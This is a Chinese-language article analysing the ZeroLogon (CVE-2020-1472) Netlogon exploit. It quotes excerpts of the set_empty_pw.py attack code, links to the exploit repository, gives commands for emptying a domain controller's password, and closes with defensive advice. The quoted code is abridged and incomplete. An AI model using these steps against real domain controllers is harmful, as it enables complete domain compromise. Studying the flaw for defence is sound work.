深度解析ZeroLogon攻击代码：Netlogon协议缺陷与密码重置实现原理

【免费下载链接】zerologonExploit for zerologon cve-2020-1472项目地址: https://gitcode.com/gh_mirrors/ze/zerologon

ZeroLogon（CVE-2020-1472）是针对Windows Netlogon协议的严重安全漏洞，攻击者可利用该漏洞重置域控制器密码并获得完全控制权。本文将从原理到代码实现，全面解析ZeroLogon攻击的核心机制与防御方法。

一、ZeroLogon漏洞核心原理：Netlogon协议的致命缺陷

Netlogon协议负责域内计算机与域控制器之间的身份认证，其加密机制存在设计缺陷：当客户端发送全零的挑战值（Challenge）和凭据（Credential）时，部分情况下域控制器会错误地接受该认证请求。

漏洞关键点：

• 协议未正确验证加密会话的完整性
• 全零值的特殊处理逻辑存在绕过可能
• 允许攻击者以极低计算成本进行暴力破解尝试

二、攻击代码实现解析：set_empty_pw.py工作流程

2.1 核心攻击函数：try_zero_authenticate

该函数实现了ZeroLogon攻击的核心逻辑，通过构造特殊的Netlogon认证请求来重置域控制器密码：

def try_zero_authenticate(dc_handle, dc_ip, target_computer): # 连接域控制器的Netlogon服务 binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # 使用全零挑战值和凭据 plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # 发送挑战请求和认证请求 serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) serverChallenge = serverChallengeResp['ServerChallenge'] # 尝试设置空密码 request = nrpc.NetrServerPasswordSet2() request['AccountName'] = target_computer + '$\x00' request["ClearNewPassword"] = b"\x00"*516 # 空密码

2.2 暴力破解机制：MAX_ATTEMPTS参数的作用

由于漏洞利用存在概率性成功的特点，代码通过循环尝试提高成功率：

MAX_ATTEMPTS = 2000 # 理论上平均需要256次尝试 for attempt in range(0, MAX_ATTEMPTS): rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) if rpc_con: break # 成功后退出循环

三、漏洞利用完整步骤

3.1 环境准备

1. 安装Impacket库（需特定版本）：

git clone https://gitcode.com/gh_mirrors/ze/zerologon cd zerologon pip install -r requirements.txt

2. 确认目标信息：

• 域控制器NetBIOS名称
• 域控制器IP地址

3.2 执行密码重置攻击

使用set_empty_pw.py脚本执行攻击：

python set_empty_pw.py <dc-name> <dc-ip>

成功后会显示：Success! DC should now have the empty string as its machine password.

3.3 恢复原始密码

攻击完成后，可使用reinstall_original_pw.py恢复原始密码：

python reinstall_original_pw.py <dc-name> <dc-ip> <original-password>

四、防御建议与修复方案

1. 立即安装安全更新：

   • Microsoft官方补丁KB4557938及后续累积更新

2. 启用安全加固：

   • 部署域控制器强制签名策略（RequireSignOrSeal）
   • 启用Netlogon远程协议强化（CVE-2020-1472）

3. 监控异常活动：

   • 监控Netlogon服务异常认证请求
   • 检测空密码或异常密码重置事件

五、总结

ZeroLogon漏洞展示了身份认证协议设计缺陷可能导致的严重后果。通过分析攻击代码中的set_empty_pw.py实现，我们可以更深入理解漏洞原理并采取针对性防御措施。在复杂的网络环境中，及时更新系统补丁、实施最小权限原则和加强安全监控，是防范此类攻击的关键。

安全研究的价值不仅在于发现漏洞，更在于通过公开透明的技术分析，帮助企业构建更健壮的防御体系。建议所有组织定期进行安全审计，确保关键基础设施得到充分保护。

【免费下载链接】zerologonExploit for zerologon cve-2020-1472项目地址: https://gitcode.com/gh_mirrors/ze/zerologon